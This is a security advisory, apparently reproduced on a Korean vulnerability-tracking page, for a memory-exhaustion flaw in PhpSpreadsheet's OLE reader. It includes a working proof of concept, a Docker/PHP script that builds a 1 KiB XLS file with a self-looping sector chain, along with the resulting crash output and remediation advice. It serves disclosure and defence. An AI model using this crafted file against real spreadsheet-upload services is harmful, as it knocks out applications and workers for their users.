PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
1$sbdBlock = $this->sbdStartBlock; 2$this->smallBlockChain = ''; 3while ($sbdBlock != -2) { 4 $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE; 5 6 $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs); 7 $pos += 4 * $bbs; 8 9 $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);10}There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
1docker run --rm --network none -i \ 2 -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ 3 -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' 4set -eu 5php -r ' 6$data = str_repeat("\0", 1024); 7$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); }; 8$set(0, hex2bin("D0CF11E0A1B11AE1")); 9$set(28, "\xfe\xff");10$set(30, pack("v", 9)); // sector size 51211$set(32, pack("v", 6)); // mini sector size 6412$set(44, pack("l", 1)); // 1 SAT sector13$set(48, pack("l", 0)); // directory first sector 014$set(56, pack("l", 4096)); // mini stream cutoff15$set(60, pack("l", 0)); // SSAT first sector 016$set(64, pack("l", 1)); // one SSAT sector17$set(68, pack("l", -2)); // no MSAT extension18$set(72, pack("l", 0)); // no extension sectors19$set(76, pack("l", 0)); // DIFAT says SAT is sector 020$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself21file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);22printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));23'24php -d memory_limit=64M -d display_errors=1 -r '25require "/app/vendor/autoload.php";26$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();27var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));28' 2>&1 || true29SHObserved output:
1ole_size=1024 2PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143 3PHP Stack trace: 4PHP 1. {main}() Command line code:0 5PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4 6PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().
- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…